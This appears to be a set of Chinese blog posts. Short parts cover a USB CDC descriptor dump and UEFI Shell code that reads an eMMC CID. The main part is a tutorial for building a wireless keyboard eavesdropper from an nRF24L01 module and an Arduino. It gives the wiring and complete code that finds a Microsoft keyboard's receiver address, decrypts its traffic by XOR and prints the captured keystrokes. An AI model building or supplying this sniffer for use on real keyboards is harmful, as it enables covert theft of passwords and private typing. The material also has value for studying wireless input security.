  bSubordinateInterface0   8   248    0x01   0x01   Interface number of subordinate interface in the Union

ENDPOINT Descriptor (7 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   256    0x07   0x07   Descriptor size is 7 bytes
  bDescriptorType   8   264    0x05   0x05   ENDPOINT Descriptor Type
  bEndpointAddress   8   272    0x82   0x82   This is an IN endpoint with endpoint number 2
  bmAttributes   8   280    0x03   0x03   Types –
Transfer: INTERRUPT
Low Power: No
Pkt Size Adjust: No
  wMaxPacketSize   16   288    0x0008   0x0008   Maximum packet size for this endpoint is 8 Bytes. If Hi-Speed, 0 additional transactions per frame
  bInterval   8   304    0xFF   0xFF   The polling interval value is every 255 Frames. Undefined for Hi-Speed

INTERFACE Descriptor (9 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   312    0x09   0x09   Descriptor size is 9 bytes
  bDescriptorType   8   320    0x04   0x04   INTERFACE Descriptor Type
  bInterfaceNumber   8   328    0x01   0x01   The number of this interface is 1.
  bAlternateSetting   8   336    0x00   0x00   The value used to select the alternate setting for this interface is 0
  bNumEndpoints   8   344    0x02   0x02   The number of endpoints used by this interface is 2 (excluding endpoint zero)
  bInterfaceClass   8   352    0x0A   0x0A   The interface implements the Data Interface class
  bInterfaceProtocol   8   368    0x00   0x00   The interface uses the No class specific protocol required Protocol
  bInterfaceSubClass   8   360    0x00   0x00   The Subclass code is 0
  iInterface   8   376    0x00   0x00   The device doesn’t have a string descriptor describing this iInterface

ENDPOINT Descriptor (7 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   384    0x07   0x07   Descriptor size is 7 bytes
  bDescriptorType   8   392    0x05   0x05   ENDPOINT Descriptor Type
  bEndpointAddress   8   400    0x04   0x04   This is an OUT endpoint with endpoint number 4
  bmAttributes   8   408    0x02   0x02   Types –
Transfer: BULK
Pkt Size Adjust: No
  wMaxPacketSize   16   416    0x0040   0x0040   Maximum packet size for this endpoint is 64 Bytes. If Hi-Speed, 0 additional transactions per frame
  bInterval   8   432    0x01   0x01   The polling interval value is every 1 Frames. If Hi-Speed, 1 uFrames/NAK

ENDPOINT Descriptor (7 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   440    0x07   0x07   Descriptor size is 7 bytes
  bDescriptorType   8   448    0x05   0x05   ENDPOINT Descriptor Type
  bEndpointAddress   8   456    0x83   0x83   This is an IN endpoint with endpoint number 3
  bmAttributes   8   464    0x02   0x02   Types –
Transfer: BULK
Pkt Size Adjust: No
  wMaxPacketSize   16   472    0x0040   0x0040   Maximum packet size for this endpoint is 64 Bytes. If Hi-Speed, 0 additional transactions per frame
  bInterval   8   488    0x01   0x01   The polling interval value is every 1 Frames. If Hi-Speed, every 1 uFrames

 

第五步,主机请求 String Descriptor

image007

我不熟悉USB CDC 协议,因此上面只能做一个简单的使用实例。

最后,多说两句:这款分析仪的价格在 20万人民币,个人基本上不用考虑购买一个玩玩儿了。此外,近两年有一些国产的逻辑分析仪,价格只有国外的十分之一,但是我没有实验过。期待随着时间的推移,国产分析设备有所长进,甚至有一天能够对 USB协议产生影响。大多数情况下,USB设备的调试还是依靠Slave Device 本身的Debug 输出(比如:Uart),普通开发者也不会遇到传输上面的问题。

参考:

  1. http://baike.baidu.com/view/1367029.htm NRZ-I编码

Step to UEFI (104)eMMC in the Shell

eMMC 应用在平板电脑上已经有一段时间了,本文给出了一个取得 eMMC CID 的例子。当然,你在其他资料上还会发现一些类似 MMC_INFO 之类的Protocol,但是根据我的实验,目前大多数系统只支持SD HOST IO 这一个 Protocol。此外,强烈建议一定在实体机上进行实验,避免出现费了很大力气编写代码,但是实际上第一步就无法完成的问题。
原理介绍:首先查找系统中的 SD_HOST_IO 的Protocol .目前看起来系统中只有一个这样的 Protocol ,所以我们用 LocateProtocol 就足够了。取得之后,通过这个 Protocol,对 eMMC 发送command。这个做法和 ATA 设备的 PassThrough Protocol很像。下面的代码是取得CID信息的,CID是用来识别eMMC一些基本信息的寄存器,比如 Serial Number,具体定义在 eMMC Specification中可以找到【参考1】 。
“8.2 CID register
The Card IDentification (CID) register is 128 bits wide. It contains the card identification information used during the card identification phase (MultiMediaCard protocol). Every individual flash or I/O card shall have an unique identification number. Every type of MultiMediaCard ROM cards (defined by content) shall have an unique identification number. Table 41 on page 112 lists these identifiers.The structure of the CID register is defined in the following sections”
image001

代码:

#include  <Uefi.h>
#include  <Library/UefiLib.h>
#include  <Library/ShellCEntryLib.h>
#include <Library/MemoryAllocationLib.h>
#include  <Protocol/BlockIo.h>

#include "SDHostIo.h"
#include "mmc.h"


EFI_GUID gEfiSdHostIoProtocolGuid = { 0xb63f8ec7, 0xa9c9, 0x4472, 
					{0xa4, 0xc0, 0x4d, 0x8b, 0xf3, 0x65, 0xcc, 0x51}};
 
//
// Command timeout will be max 100 ms 
//
#define  TIMEOUT_COMMAND     100

extern EFI_BOOT_SERVICES         *gBS;

EFI_STATUS
SendCommand (
  IN   EFI_SD_HOST_IO_PROTOCOL    *This,
  IN   UINT16                     CommandIndex,
  IN   UINT32                     Argument,
  IN   TRANSFER_TYPE              DataType,
  IN   UINT8                      *Buffer, OPTIONAL
  IN   UINT32                     BufferSize,    
  IN   RESPONSE_TYPE              ResponseType,
  IN   UINT32                     TimeOut,  
  OUT  UINT32                     *ResponseData
  )
/*++

  Routine Description:
    Send command by using Host IO protocol
  
  Arguments:
    This           - Pointer to EFI_SD_HOST_IO_PROTOCOL
    CommandIndex   - The command index to set the command index field of command register
    Argument       - Command argument to set the argument field of command register
    DataType       - TRANSFER_TYPE, indicates no data, data in or data out
    Buffer         - Contains the data read from / write to the device
    BufferSize     - The size of the buffer
    ResponseType   - RESPONSE_TYPE
    TimeOut        - Time out value in 1 ms unit
    ResponseData   - Depending on the ResponseType, such as CSD or card status

  Returns:  
    EFI_INVALID_PARAMETER
    EFI_UNSUPPORTED
    EFI_DEVICE_ERROR
    EFI_SUCCESS
 --*/   
{

  EFI_STATUS    Status;

  Status = This->SendCommand (
           This,
           CommandIndex,
           Argument,
           DataType,
           Buffer,
           BufferSize,
           ResponseType,
           TimeOut,
           ResponseData
           );
  if (!EFI_ERROR (Status)) {
    if (ResponseType == ResponseR1 || ResponseType == ResponseR1b) {
      //ASSERT(ResponseData != NULL);
	  Print(L"Error with code [%d]",(*ResponseData));
    }
  } else {
    This->ResetSdHost (This, Reset_DAT_CMD);
  }

  return Status;
}

int
EFIAPI
main (
  IN UINT32 Argc,
  IN CHAR16 **Argv
  )
{
	EFI_SD_HOST_IO_PROTOCOL   *SdHostIo;
	EFI_STATUS 		Status;	
	CID             CIDReg;
    OCR             OCRReg;
	UINT32          TimeOut=5000;
	
	Status = gBS->LocateProtocol (       
                  &gEfiSdHostIoProtocolGuid,
                  NULL,
                  &SdHostIo
                  );
	if (EFI_ERROR (Status)) {
		Print(L"No SdHost driver, Application is exiting!\n");
		return Status;
	}  	

    SdHostIo->EnableAutoStopCmd (SdHostIo, TRUE);
    SdHostIo->SetupDevice (SdHostIo);

    //
    // Go to Idle
    //
	SendCommand (
                SdHostIo,
                GO_IDLE_STATE,
                0,
                NoData,
                NULL,
                0,  
                ResponseNo,
                TIMEOUT_COMMAND,
                NULL
            );

    gBS->Stall (100 * 1000);

    //
    // Check voltage support, first time we use 0x40FF8080
    //
    SendCommand (
                SdHostIo,
				SEND_OP_COND,
                0x40FF8080,
                NoData,
                NULL,
                0,  
                ResponseR3,
                TIMEOUT_COMMAND,
                (UINT32*)&(OCRReg)
            );

    while (OCRReg.Busy != 1) {
		OCRReg.AccessMode = 0x02; // sector mode;
		SendCommand (
				  SdHostIo,
                  SEND_OP_COND,
                  *(UINT32*)&(OCRReg),
                  NoData,
                  NULL,
                  0,  
                  ResponseR3,
                  TIMEOUT_COMMAND,
                  (UINT32*)&(OCRReg)
                  );
						  
        gBS->Stall(100);

        TimeOut--;
        if (TimeOut == 0) {
            Print(L"Card is always busy\n");
            Status = EFI_TIMEOUT;
            goto Exit;
        } 
    } 

	SendCommand(
          SdHostIo,
          ALL_SEND_CID,
		0,
          NoData,
          NULL,
          0,  
          ResponseR2,
          TIMEOUT_COMMAND,
          (UINT32*)&(CIDReg)
          );
  
    Print (L" Product serial number      : %X\n",CIDReg.PSN);
    Print (L" Product revision           : %X\n",CIDReg.PRV);	
    Print (L" Product name               : %c%c%c%c%c%c\n",
								CIDReg.PNM[0],
								CIDReg.PNM[1],
								CIDReg.PNM[2],
								CIDReg.PNM[3],
								CIDReg.PNM[4],
								CIDReg.PNM[5]);
    Print (L" Manufacturer ID            : %X\n",CIDReg.MID);	
	
Exit:	
	return EFI_SUCCESS;
}

在kabyLake HDK 上运行结果:
image002

完整代码下载,其中还有代码生成的EFI程序,是 X64的。
getemmc

本文使用的头文件都是来自新版的 EDK2(比 UDK2015要新一些,我觉得UDK2017有可能会正式加入吧)【参考2】,有兴趣的读者可以自行查阅。
最后,既然有了CID,那么还可以读取一些关于 eMMC的其他信息,比如容量。请读者自己尝试完成。
最后的最后,推荐 Lenovo 出品的一款擦除 eMMC的工具,在 Shell 下运行,可以很快擦掉全部内容(应该使用 eMMC 的 Command 直接Erase的,所以能够达到很快的速度)。
gufd01ww

参考:
1. http://www.jedec.org/standards-documents/results/jesd84-b51 JESD84-A44.pdf
2. https://github.com/tianocore/edk2
3. http://support.lenovo.com/us/en/downloads/ds100934

监听微软键盘

微软推出过一款无线键盘鼠标套装,型号是;Microsoft Wireless Keyboard/Mouse 800。这套键鼠具有反应灵敏,手感细腻,价格适中等等优点,美中不足的是它使用2.4G进行通讯,协议已经被人攻破,可以使用很低的成本搭建一套监听的设备。本文就将介绍如何使用不到5元的 nRF24L01模块加一块Arduino Uno搭建一窃听装置。
image001
本文是根据github 上SamyKamkar 的keysweeper项目写成。代码和实物只是很小的一部分,最重要的是原理。
首先,微软的这个套装键盘使用的是NRF 24LE1H芯片,简单的可以理解成一个单片机加上nRF41L01 模块,这就给我们以可乘之机;
image002
键盘使用的模块通讯方式和最常见的nRF41L01+模块相同,因此这就是整个项目的硬件基础。
image003
使用nRF41L01+模块通讯,有下面几个要求:
1. 通讯速率
2. 使用的频道(也就是频率)
3. 通讯双方的MAC地址
对于1来说,微软键盘只使用2MBps;对于2来说,是通过扫描频率范围来确定的。键盘标签上给出来它在FCC申请注册过的频段是 2403-2480Mhz,我们只需要在这个范围内每隔1MHz扫描即可。因为我们的目标只是监听,键盘作为发射端的MAC不重要,我们只需要知道接收器的MAC即可。当然,这里也是这个项目的技巧和难点所在。
首先说说键盘和接收器的通信格式:
image004

最开始的Preamble,翻译成中文就是“前导码”,是由间隔的0 1构成的一字节,也就是说只能是0x55(0b0101 0101)或者0xAA(0b1010 1010),通讯时通过解析这个可以知道每个bit的长度之类等等信息;前导码后面的Address就是MAC,芯片根据这个信息可以确定是否是发给它的。比如,每一个PC上使用的网卡都会有世界唯一的MAC,当有数据包送到网口,网卡本身通过解析数据包中的MAC得知是否是发送给自己的数据。更通俗的理解,在嘈杂的空间两个人对话,最好的办法是这样喊“老张,XXX”。需要听老张讲话的人听到“老张”,即可留心下面的内容,“老张”就是接收端的MAC。
在nRF41L01+芯片上,有这样的限制:只能监听特定的MAC地址。意思是:你需要设定芯片“听”的具体MAC,它才能把对应的数据传出来。如果你不告诉它接收器的MAC,它是不会对键盘发出来的数据包有响应;经过研究,SamyKamkar 发现了一个有意思的事情,在设置nRF41L01+ 监听MAC的寄存器中,有一个设置监听MAC长度的寄存器(为了灵活,nRF41L01+可以设置不同长度的MAC):
image005
参考2
从上面可以看出,这个芯片能相应的最短的MAC是 3 字节 。但是,根据其他人的实验,如果这里参数设置为 00 实际上是在监听 2字节的 MAC地址。换句话说,如果知道键盘发送的数据包上出现的2个字节的数据,我们就有机会把完整的数据监听下来。其他人继续研究(他们有监听2.4G无线抓包的设备),又发现微软这个键盘MAC最高位是 1 。这样键盘一定会使用 0xAA作为前导码(因为如果使用 0x55有可能和MAC最高的1“粘”在一起,所以只能使用0xAA)。这样,我们知道发送的数据肯定还有一个 0xAA了。还差一个才能凑够2个字节。这时候就有很有意思的事情了:当实际上没有人对芯片“讲话”的时候,芯片还是在工作的,很多时候它会听到0x00或者0xFF。于是,我们可以欺骗IC,让他“听” 0x00AA。芯片一直在接受,它会不断校验“听到”的结果,过滤掉不正确的结果。判断正确与否的方法是CRC,我们关掉这个校验,芯片就会通知我们所有的它听到的信息,我们再校验听到的MAC最低Byte是否为 0xCD(研究发现这个系列的键盘MAC最低Byte位0xCD),也就能知道告诉我们的那些信息是真实有效的。
使用这样欺骗的方法,能够获得真实的接收器的MAC。有了MAC就可以光明正大的监听键盘的通讯了。
对于抓到的键盘数据是有加密的,只是方法非常简单,使用MAC进行XOR运算。
image006
解析解密之后的HID数据,最终我们就可以得到按下信息。
• 设备类型 0x0A = 键盘, 0x08 = 鼠标
• 数据包 0x78 = 按键, 0x38 = 长按
上面就是这个监听装置的原理,硬件连接如下:
image007
nRF24L01+ Arduino Uno
GND GND
VCC 3.3V
CE D9
CSN D8
SCK D13
MOSI D11
MISO D12
IRQ (空)

连接好之后即可使用

根据上面提到的原理编写程序如下:
#include
#define SERIAL_DEBUG 1
#include “nRF24L01.h”
#include “RF24.h”
#include “mhid.h”

#include

// location in atmega eeprom to store last flash write address
#define E_LAST_CHAN 0x05 // 1 byte

// pins on the microcontroller
#define CE 9
#define CSN 8 // normally 10 but SPI flash uses 10

#define csn(a) digitalWrite(CSN, a)
#define ce(a) digitalWrite(CE, a)
#define PKT_SIZE 16
#define MS_PER_SCAN 500

//If you just output the string, please use these to save memory
#define sp(a) Serial.print(F(a))
#define spl(a) Serial.println(F(a))

// Serial baudrate
#define BAUDRATE 115200

// all MS keyboard macs appear to begin with 0xCD [we store in LSB]
uint64_t kbPipe = 0xAALL; // will change, but we use 0xAA to sniff
uint8_t cksum_key_offset = ~(kbPipe >> 8 & 0xFF);

uint8_t channel = 25; // [between 3 and 80]
RF24 radio(CE, CSN);

uint16_t lastSeq = 0;

uint8_t n(uint8_t reg, uint8_t value)
{
uint8_t status;

csn(LOW);
status = SPI.transfer( W_REGISTER | ( REGISTER_MASK & reg ) );
SPI.transfer(value);
csn(HIGH);
return status;
}

// 扫描微软键盘 scans for microsoft keyboards
// 通过下面的方法来加速搜索 we reduce the complexity for scanning by a few methods:
// a) 根据 FCC 认证文件,键盘使用频率是2403-2480MHz
// b) 已知微软键盘使用2Mbps速率通讯
// c) 实验确定这个型号的键盘 MAC第一位是0xCD
// d) 因为键盘的 MAC 以 C (1100)起始,所以前导码应该是 0xAA[10101010],这样我们就不用扫描前导码是0x55的了。【参考1】
// e) 数据区会以 0x0A38/0x0A78 开头,这样我们可以确定这个设备是键盘

void scan()
{
long time;
uint8_t p[PKT_SIZE];
uint16_t wait = 10000;

spl(“scan”);

// FCC 文档说明这款键盘使用 2403-2480MHz 的频率
// http://fccid.net/number.php?fcc=C3K1455&id=451957#axzz3N5dLDG9C
// 读取之前我们存在 EEPROM 中的频率
channel = EEPROM.read(E_LAST_CHAN);

radio.setAutoAck(false); //不需要自动应答
radio.setPALevel(RF24_PA_MIN); //低功耗足够了
radio.setDataRate(RF24_2MBPS); //工作在 2mbps
radio.setPayloadSize(32); //数据长度
radio.setChannel(channel); //通道(频率)

n(0x02, 0x00);
//
//设置 MAC 只有2Bytes
n(0x03, 0x00);

radio.openReadingPipe(0, kbPipe);//使用0通道,监听 image008kbPipe 给出的MAC
radio.disableCRC(); //不使用 CRC
radio.startListening();

//开始扫描
while (1)
{
if (channel > 80) //如果超过最大频率范围
channel = 3; //那么绕回从 2403Mhz 再来

sp(“Tuning to “);
Serial.println(2400 + channel);
radio.setChannel(channel++);

time = millis();
while (millis() – time < wait) //为了节省扫描时间,设定每一个频率都有一个超时 { if (radio.available()) { radio.read(&p, PKT_SIZE); //取下抓到的结果 if (p[4] == 0xCD) //如果MAC最低位是 0xCD,说明我们抓到的是正确的 MAC { sp("Potential keyboard: "); //输出一次可能的数据 for (int j = 0; j < 8; j++) { Serial.print(p[j], HEX); sp(" "); } spl(""); // 从 DataSheet 更可以看到在 MAC后面还有 9 bits 长的 PCF ,为了进一步校验数据,我们需要手工移动整体数据 // 正常通讯的时候,硬件会自动处理掉 PCF 的,也因为这个原因,这里获得的数据和直接指定MAC 抓取的数据看起来不同 // 下面是我们根据对键盘发送格式的了解,判断收到的信号是否为键盘发送 if ((p[6] & 0x7F) << 1 == 0x0A && (p[7] << 1 == 0x38 || p[7] << 1 == 0x78)) { channel--; sp("KEYBOARD FOUND! Locking in on channel "); //找到键盘了 Serial.println(channel); EEPROM.write(E_LAST_CHAN, channel); //记录这次找到的频率,以便下次使用 kbPipe = 0; for (int i = 0; i < 4; i++) //这里就有了真正的键盘的MAC { kbPipe += p[i]; kbPipe <<= 8; } kbPipe += p[4]; //最终的数据CRC MAC是参加计算的,这里只是先计算一下 cksum_key_offset = ~(kbPipe >> 8 & 0xFF);

return;
}

}
}
}

}
}


// 前面扫面结束,我们取得了键盘的真实MAC,这里需要重新设置一下
void setupRadio()
{
  spl("2setupRadio");

  radio.stopListening();
  radio.openReadingPipe(0, kbPipe);   //这里监听真实的 MAC
  radio.setAutoAck(false);			  //不要自动应答
  radio.setPALevel(RF24_PA_MAX); 	  //最大功率监听
  radio.setDataRate(RF24_2MBPS);      //通讯速度还是 2mbps
  radio.setPayloadSize(32);           //听32 Bytes
  radio.enableDynamicPayloads();      
  radio.setChannel(channel);
  n(0x03, 0x03);					  // MAC 长度是 5Bytes
  radio.startListening();
}

uint8_t flush_rx(void)
{
  uint8_t status;

  csn(LOW);
  status = SPI.transfer( FLUSH_RX );
  csn(HIGH);

  return status;
}

void setup()
{

  Serial.begin(BAUDRATE);
   
  spl("Radio setup");
  radio.begin();
  spl("End radio setup");

  //扫描键盘频段和MAC
  scan();
  //重新设置监听真实的 MAC
  setupRadio();
 
}

// 解密数据
void decrypt(uint8_t* p)
{
  for (int i = 4; i < 15; i++)
    // our encryption key is the 5-byte MAC address (pipe)
    // and starts 4 bytes in (header is unencrypted)
    p[i] ^= kbPipe >> (((i - 4) % 5) * 8) & 0xFF;
}

//解析 HID 数据获得按键信息
char gotKeystroke(uint8_t* p)
{
  char letter;
  uint8_t key = p[11] ? p[11] : p[10] ? p[10] : p[9];
  letter = hid_decode(key, p[7]);

  return letter;
} 

void loop(void)
{
    char ch;
    uint8_t p[PKT_SIZE], lp[PKT_SIZE];
    uint8_t pipe_num=0;

	if ( radio.available(&pipe_num) )
	{
		uint8_t sz = radio.getDynamicPayloadSize();    
		//sp("Payload:>");Serial.println(sz);
		
		radio.read(&p, PKT_SIZE);
		flush_rx();
		
                //sp("Raw->");for (int i=0;i<PKT_SIZE;i++) { Serial.print(p[i],HEX); sp(" ");}spl("");
  
		//判断是否和前一个数据是重复的
		if (p[1] == 0x78)
		{
			boolean same = true;
			for (int j = 0; j < sz; j++)
			{
				if (p[j] != lp[j])
				same = false;
				lp[j] = p[j];
			}
			if (same) {
				  return;	//对于重复数据直接丢弃
			}
    }

    // 解密数据
    decrypt(p);
	      
    // 判断数据包,还有数据包上的序号
    if (p[0] == 0x0a && p[1] == 0x78 && p[9] != 0 && lastSeq != (p[5] << 8) + p[4])
    {
      
      lastSeq = (p[5] << 8) + p[4];
      // store in flash for retrieval later
      ch = gotKeystroke(p);
      sp("[");Serial.print(ch);sp("]");
    }
  }
}

 

运行结果
image009
程序只是简单的演示,截获的键盘数据发送到串口显示出来。

参考:
1. https://github.com/samyk/keysweeper/blob/master/keysweeper_mcu_src/keysweeper_mcu_src.ino
2. nRF24L01 DataSheet 2.0 9.1 Register map table